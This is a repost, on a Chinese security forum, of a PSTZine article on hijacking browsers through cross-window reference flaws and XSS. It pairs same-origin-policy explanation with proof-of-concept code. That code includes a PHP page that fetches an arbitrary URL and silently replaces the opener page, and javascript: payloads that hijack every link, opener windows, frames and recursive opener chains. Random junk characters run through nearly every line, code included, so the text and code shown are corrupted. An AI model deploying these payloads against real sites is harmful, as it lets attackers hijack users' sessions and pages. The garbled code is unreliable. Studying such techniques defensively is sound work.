找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2078|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==, f$ [3 u0 n% ~4 {" |. M0 ?. E

- M6 f, I+ }4 O. L6 j# \9 H. ~! ?                       Issue 0x03, Phile #0x05 of 0x07% g4 @- ~0 V! T8 |1 P7 {
& \1 |' f/ }& O7 ^  x" f

' r3 H* `; ^0 w# i* [, I  z|=---------------------------------------------------------------------------=|4 S7 l- e1 B8 w* x
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
2 |3 y* M7 p0 H|=---------------------------------------------------------------------------=|; q2 g. w7 U4 [
|=---------------------------------------------------------------------------=|
6 o! U  [3 D: H9 u& g* ||=------------------------=[      By rayh4c     ]=---------------------------=|
1 y3 W8 t. _" f) j; z/ M: B: A5 c|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|. u. i# k1 A, k/ \
|=---------------------------------------------------------------------------=|1 L9 M- |: _  C6 {# O% p' k
9 W; z, y5 f# w- _! A

" u8 r' \- B/ W5 N[目录]0 g2 E! B  J8 r) j% p: N" I/ L0 f0 R

7 L2 D4 b: N' f7 ?1. 前言1 D2 N- r3 q9 [. T
2. 同源策略简叙6 {  B9 S4 z. w" X2 I3 I# d9 P: S
3. 理解window对象的同源策略7 w$ w, Y' Q& F* X2 l
4. 窗口引用功能中的同源策略漏洞
9 z) b! v$ t1 E& ~  ?0 G4 q: d  4.1 父窗口引用子窗口的同源策略问题9 X: [' O0 n. |5 ^6 {
  4.2 子窗口引用父窗口的同源策略问题
6 b/ p1 K% h, z$ R3 y5. 利用窗口引用漏洞劫持浏览器
6 y5 |) H0 k; Q' @: i# S" _6. 利用XSS漏洞劫持浏览器
% z2 _1 @/ y0 E* }0 t  6.1 正向跨窗口劫持, V! z) J+ U1 u, N& U
  6.2 反向跨窗口劫持6 I  ^; ?/ v# h; b  l( Q$ T
  6.3 极度危险的跨框架窗口引用劫持( j- M6 D2 S+ T9 A: G
  6.4 极度危险的正反向跨窗口递归劫持  l! i% j( j( w  S
  6.5 完全控制浏览器
' o' |% x7 ^+ f" o& G3 i7. 后记
3 f: T% R* K( s+ a+ _8. 参考7 y. Y1 q; l0 P. q# M
: e" g' W5 d4 F" \
2 B$ l( i, U4 c8 Y- N8 ^
一、前言
/ o0 b4 O2 I$ z' D4 L- n
5 d/ Z* [9 {8 \    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋8 R6 ~& @. h0 g  L
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
( B& d( W# i, |- m' _劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被/ u- l- \5 P3 K" C7 _
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
! |; [: n$ c4 r+ T6 X9 J) \4 w0 O  ]) s# G$ E! k( A- q# h9 B# M# o
7 v, f& |2 g5 f) m; l
二、同源策略简叙# {# }2 Z2 u" q# O: ?

" h  c, q( q; S' J9 t* o+ Z' p8 v    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
" C  d2 }: R6 j3 N' v从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
, M. M$ Y: F3 d4 ^* k曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木# i' h- A3 z; w$ w- |) G+ l' r
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
( O+ ]! l8 f; ]- ]7 M! m7 S漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
# M; _2 j) M0 D. b& X' x& e+ {) Q5 g. \. y2 W/ U( t3 [
7 E  D* |! Z: s
三、理解window对象的同源策略3 c9 {: b: [+ k3 X8 K- z4 s
$ F* Q* L/ m& s$ N% {
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对2 ^" f# h: k* h, P
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
# ]4 R, U+ k) y; Z1 l9 G) h& b0 y% y4 r; R! A/ T6 S
--code-------------------------------------------------------------------------
2 c* v0 a6 [, H5 D6 Y- j<script language="javascript">
1 a4 {$ Q  L4 tfor(p in window) document.write(p+"<br>");
- [9 c: d! ~2 y4 f</script>; K, T! K) f. T& U+ y& K( w
-------------------------------------------------------------------------------
8 I1 l0 t" M: F& i
! i6 N7 j5 k9 B% |% ]9 a    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
9 |! ^" S( ]* A' }. j7 d法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
' |; ]3 p' w3 z这些属性和方法就必须遵循同源策略。
: L% C5 q2 t4 [8 O+ b6 P2 D1 o% b& j7 q# G% X
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
) s- b3 X$ b1 d. z/ u么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
$ k$ q' A+ x& F0 N的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
( L& d8 _6 j0 r/ U个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的/ L  X9 _, p* k8 f. w4 h0 Z1 K
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location1 E; j8 o) B" H2 V  x; V
属性并没有被拒绝访问。( H* \8 b2 x! U7 R! d

- y! w/ }! k) C$ w. v) z--demo.html--------------------------------------------------------------------
, C& ~& z# j" y<script language="javascript">   
1 a, {) E% B. L7 k4 u  Y3 N5 r( Dfunction allPrpos(obj) {      , a; @9 K) |% k8 b2 x: x9 e, J/ y
      var props = "<table><tr><td>名称</td><td>值</td>";           
7 {1 }* p7 Z, Q9 Y  z      for(var p in obj){         
+ x) T9 T5 r/ E8 [# l5 C' k0 {* K            if(typeof(obj[p])=="function"){   5 O4 }4 X# D9 L8 U, l! Y  t
                   obj[p]();   
) M3 ?" ~5 [2 B0 \             }else{                     
: z1 a8 {$ _2 C- t' o( b: h$ j                  try   
: M- ~: ?8 Z* B! O1 Q6 ]; D                   {   
. \8 C; w( s; R3 `* U" ?$ I                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
% J: D% k( c6 k' X1 S  F                   }   
8 ^' k. M' A$ S# ]! {% t, o2 M8 X                  catch (ex)   
3 V* @* [" |( S, I% ~/ C' q                   {   / b' M9 r0 T* W* ?; N1 V% |' G
                  
) g4 Y4 Y& @  k                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
, c3 ~% n6 {! r7 s                   }   
! d- U, V' v1 V: j) a* L                       
0 s0 O0 f2 P' k# q4 |' T7 @             }   * R( Y" P: G% }: y3 ?" f
       }   , p! y. |5 u2 ~  s8 G, m# p
   
6 w$ G, S: a# }       document.write(props+"</table>");   
) }' Y) K; y; V5 y* Z3 o' I2 p4 @}   * N$ P$ J7 ~) E+ @
   8 k: R8 N- X/ t
function createWin() {
8 d' c, X0 A" Q        newWin = window.open ("http://www.google.com");  , f1 K# x0 k3 d* @% E9 G$ r& a" A
        setTimeout(function(){allPrpos(newWin)},2000);
9 i7 j3 v  D& p- W; \  e8 P} # H3 x4 E) t- I% s+ H! g
5 X- o' ?9 I. x. Z
</script> + ]9 R! O, Q' |, q5 n
* T) r6 q7 |6 R5 W
<button onclick='createWin()'>创建一个非同源子窗口测试</button>  W8 t, ]$ f" _5 R5 ~& {% ]
-------------------------------------------------------------------------------
2 Y* I$ H! }! X' V$ Q# J" ^' `+ R; W+ j% M- w* D4 h
$ D+ E! e. p" e, c1 O) C; l* Z
四、窗口引用功能中的同源策略漏洞' c; c# b. u9 o& Q! v
, V; z# i: ?. G9 F
4.1 父窗口引用子窗口的同源策略问题. ~. L) e" ]& R2 i6 [$ F% X9 l$ `

. X2 o0 d/ m  u: n9 S" r1 T    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,( t" n# E  N# s4 \+ r9 W
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道) K4 X! B; E( J& l4 C1 p/ i$ t
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进6 e9 c4 `2 k# i6 p$ T8 V
行测试,会发现父窗口可以控制非同源子窗口location属性值。6 \! l* T7 f+ J& B6 i

# R2 R  k# |2 `* I1 S; q% u--vul1.html--------------------------------------------------------------------
" {! N4 M& c# N5 c' ?$ Q<script language="javascript">
7 i+ |- e- K! C1 F- y5 I8 ^) {/ B. d4 rfunction createWin() {  ! P+ J6 P$ ]2 v' S2 m; B
        newWin = window.open ("http://www.google.com");  5 V( p: o# r' |( s6 K3 A
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 9 p- @7 \  s; @& ~3 B* O  k. U2 E' Z
}
6 k! W8 s- g6 y: H9 l9 G9 V+ D3 j</script>
, g* a) H) }% H0 t) n- h( I3 l. T
<button onclick='createWin()'>创建一个非同源子窗口测试</button>$ m9 ?: i- B! }1 h
-------------------------------------------------------------------------------$ n* @! `; N+ b( \4 F" ^
0 e7 m) C+ M7 N8 w
4 J- C% v6 u" B& O7 m
4.2 子窗口引用父窗口的同源策略问题9 j8 F( A; G1 _. p# C0 v8 \- L
+ w1 J, {8 F. x' {# U
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使# P4 [4 T& w) ~7 X0 u/ R
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们$ Z# a% Q8 L2 }$ _% x  k
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定; ~% H1 l3 t; \6 I
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。* a' }7 g5 _+ Q
5 f" [8 H* W6 `* w) u
--code-------------------------------------------------------------------------
5 ?5 V' T/ r  h; d5 v1 V
9 r* [% E6 e* b- k8 V2 ajavascript:window.opener.location = "http://www.80sec.com";void(0);
- K# U- R' w6 a" R: p1 R- r* Z5 N! G0 @" }; K
-------------------------------------------------------------------------------
: |8 v* Y1 `3 P& P( |0 m5 W
! e8 D3 I; z2 a, ^& ~. Z
+ {! f: Z- ]7 N6 i4 w五、利用窗口引用漏洞劫持浏览器
5 ?4 r: ~- v( w( R. q! T/ `, g% a& A; s% n- j
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
7 S) V3 s& S3 f3 C! W) d窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
+ e) w3 c. t6 w么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。& ]! [6 I) Y! F2 q

4 P: ?7 V0 e0 \" \" ?6 q) w* y    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产; e1 h$ H2 I6 L+ c
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
$ N, \' }9 p! _2 W) M- O0 ^* Y# g者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
& G+ U: Z- _) ]$ B$ D后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
5 B- K/ {4 d: v) F3 G! u会产生什么可怕的后果。" w+ U! t- L6 Y+ q4 A
0 o& |7 \/ G& @+ [9 C+ j
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
! b0 c& w" A+ P! {们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
2 _: Z2 d* f4 A, f这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时% y. ~( o6 N- s/ n1 Y3 t/ `" n
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
6 u/ p0 f* K* ?4 r  \  d以做更多的事情,所有的一切仅仅是因为点击了一个链接。. m1 A' v8 o4 a: b% p
' _2 x$ m. H/ z! p; d8 z( }
--hjk_ref.php------------------------------------------------------------------2 w% I* P; a+ G: g, H& S
<?php- [. B; y( `2 p" m5 N3 B9 A4 M
if (array_key_exists("HTTP_REFERER", $_SERVER)) {4 T. y0 |+ r! X0 m* B
$Url_Mirror = $_SERVER["HTTP_REFERER"];/ w7 C9 f- {$ V5 l
} ! o$ Y6 p5 @- {- h' v0 s
if(isset ($_GET['ref'])) {* }$ O0 P- D; u6 j
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
, M3 w9 O0 ^2 s2 V- O}
- q7 `0 L% c; t0 n?>2 s6 t# c. M1 m  Q: t4 K
1 V: ?) H8 P3 V$ u
<script language="javascript">
6 I4 p; v% O5 |# k! K( T+ _setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         ! q; T* E( t2 X7 G4 m9 S
</script>
$ S" @& c) J) ~-------------------------------------------------------------------------------( x! `4 E  Y; j  k. W4 N

& t9 Q" I. H! o; B# U$ L  T8 q) v2 G    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
- B' V0 r% }7 \# D7 [
, H0 ^+ |& X! [3 Y6 N5 ?! q6 B3 M  l: Y; }0 r, \& |
六、利用XSS漏洞劫持浏览器$ U- h  r$ C/ n

! m7 w' Y8 W- X4 z& F/ f$ ?* h    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为( o: f+ \" Y, U) e' _- M
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
/ p2 o& {, ]. A+ _XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
& e3 l! a/ a: z, _+ u( h讨论跨站师的终极技巧:
3 N3 J6 ~8 ~  [4 {  h5 |% }( v0 Q4 y1 ?$ P4 [4 B
' L1 D9 b8 c: o# g, L1 f4 L# m# _1 y
6.1 正向跨窗口劫持# ?0 h2 x% l9 B5 ~8 E8 U

9 ?8 e3 S5 S0 z# P' b* h9 F, M* y    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛3 s. h: D3 w! n
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
$ y% {8 K& i' r' P' |接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话  f3 Y0 W/ m' ?( e
框脚本。
; a6 C" s* U0 `9 j$ E- y, y5 z7 S' x4 A
--hijack_open.js---------------------------------------------------------------
) a' ?6 l) ?  G
, E$ s8 H) @7 U- s- C. {javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);. j* L' T+ k3 e  U+ U6 G
2 B# c- \& _& K4 A7 U3 l
-------------------------------------------------------------------------------* w1 I! J- T& e8 p) M. K

) a* {0 g# X& P" d, k8 |$ |' k- N$ g, S
6.2 反向跨窗口劫持6 \+ z9 U1 _) y) N& T
: G' r3 y/ j  O, D
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
8 z3 @+ s7 k5 b- ~( w7 r3 R  B码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话2 }3 H# U$ s( e3 v/ ]/ ?3 m$ P
框脚本。
8 c) F+ T, |$ K# \  X
& Z  O) l; C" V--hijack_opener.js-------------------------------------------------------------
, R+ N" S7 V) Z) [! K3 K, v- c$ O6 S6 C) a' E% i* c# R( t
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);0 j+ E6 j' u5 l- Z

) Z5 e) j) D' y; l2 g8 n-------------------------------------------------------------------------------, r* T) k0 Z. n9 G6 g
6 K- Y+ G$ ?# g+ n, s+ S& V

- H" e( S, z, `% k6 h6.3 极度危险的跨框架窗口引用劫持! l9 n7 v# k% G5 ?3 e/ F
! i0 ?1 x' h+ J) x7 F
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞: u/ o3 x, _3 Z4 C; B" k, i8 F
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就6 s/ e2 z! M$ K! c
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个* Z, R3 F6 ], q+ b) t0 T
非持久型的XSS,如下:- e# Y+ k1 @! N) R" X) t: M. \% I

' o- |+ V( z; Z' }& R% h( b$ \9 d- M<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>& L7 [/ c$ q" Y0 g
& X- {2 [7 i+ D, @! [
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口' E& _# q' ~& S; r% R) k6 S
注入脚本。+ v! F0 x& L7 {- C! P
+ m6 q7 S. Q) a. F  z
--hijack_frame_opener.js-------------------------------------------------------
, m, N9 v3 T0 _$ W& [5 [/ [: F<script>6 q5 M# G, y9 }
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";: q' G2 g- B+ X+ `! r# x
</script>* f) ?0 l& k8 A) h* m
-------------------------------------------------------------------------------7 A6 {* g! @, I# |7 ^  U4 v

) x# b1 |: l9 I# n) I, W' n! w& h9 l7 t
6.4 极度危险的正反向跨窗口递归劫持$ g. M3 t6 w6 d' e: b$ z
: D) N) N2 |8 @9 E0 l
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window- [, _- R! V) |; Q
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过" l) f# u! e6 |% n' p
异常处理规避之间跨域页面的访问异常,代码如下:
( P. z6 a: |& u5 l' I6 S4 j& p
4 n, ?, l/ M  \2 i: J--code-------------------------------------------------------------------------4 E5 k/ g+ K2 ]% H) Q) e
- M" h' q# E+ C) i
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);# e& B6 |8 A* d( V$ ?

3 v8 o" t$ @. K' [+ V% H% e-------------------------------------------------------------------------------! `. {* I  T4 B  B1 F0 |

0 s/ ?% D/ K- y( @    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可* T% n3 X# a  p' Z
以劫持B域之前的A域页面,从而实现“隔空打击”。
* G) \) h: q$ X4 S2 y- b: k
" Z8 C) I5 Q) w' ~6 X% j6 A% |    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面: v0 d0 C2 ^4 h
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。3 n/ @) x, o8 S7 r3 ^& s
/ E5 M+ s, V0 S2 @! C
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。/ z7 j* I' R# e  |! T

4 I. D& M6 @( s" E' O; r9 i
8 I0 j# F: \* k1 C6.5 完全控制浏览器
- d% ]( C) R% d5 @
8 o+ |7 x- m0 c# ]. O" _    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
$ c# d5 V# \8 O2 i  i" _9 A1 G0 ]是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
  t" k, u( {: w漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
2 M! R( E* r* O. h8 A4 j+ E而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
+ I* Y8 A- {% J( z) C列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
9 Q6 t1 E4 X- S& l师的终极目标 - 完全控制浏览器。
6 U) o9 [! V, N1 G8 U, u/ F+ c+ {8 v2 h0 d0 E+ x

. \2 o6 f  D; \0 z9 G- i& u七、后记
) _* j# b& D: k& n3 A+ Z* b. T; l2 G0 ]* Y/ @( ]! n" n
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
. e- ?; Z; N1 }* ~+ g) S1 V6 Y与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
9 i" o0 |% l, b! o/ C过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。) \+ `) y; O' e  v2 W' q2 d* E

( ]% X* A; E5 v. C; k4 _8 _6 U. {. j1 s: X& O' I8 y
八、参考0 M4 P* N9 e& c. A' A: T
! U, `) b- h# W* w+ E* L9 t
1. http://en.wikipedia.org/wiki/Same_origin_policy
1 ^# f8 m3 P& a5 s$ F# Q2. http://code.google.com/p/browser ... licy_for_DOM_access/ l: x8 O' W5 R5 O. l! ^
3. http://www.w3.org/TR/Window/( u; Z3 o  w0 q  @! D' f" d4 W
4. http://www.80sec.com/release/browser-hijacking.txt
6 t- H+ R2 }( S( m4 o3 h& c4 A5. http://www.80sec.com/all-browser-security-alert.html
7 _( z1 z  e9 w( i; D6. http://www.80sec.com/ms08-058-attacks-google.html
: U! H8 ]- J0 b: Z0 b% [( ]! g$ T' F$ C# @) _9 ^% S4 V4 I
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表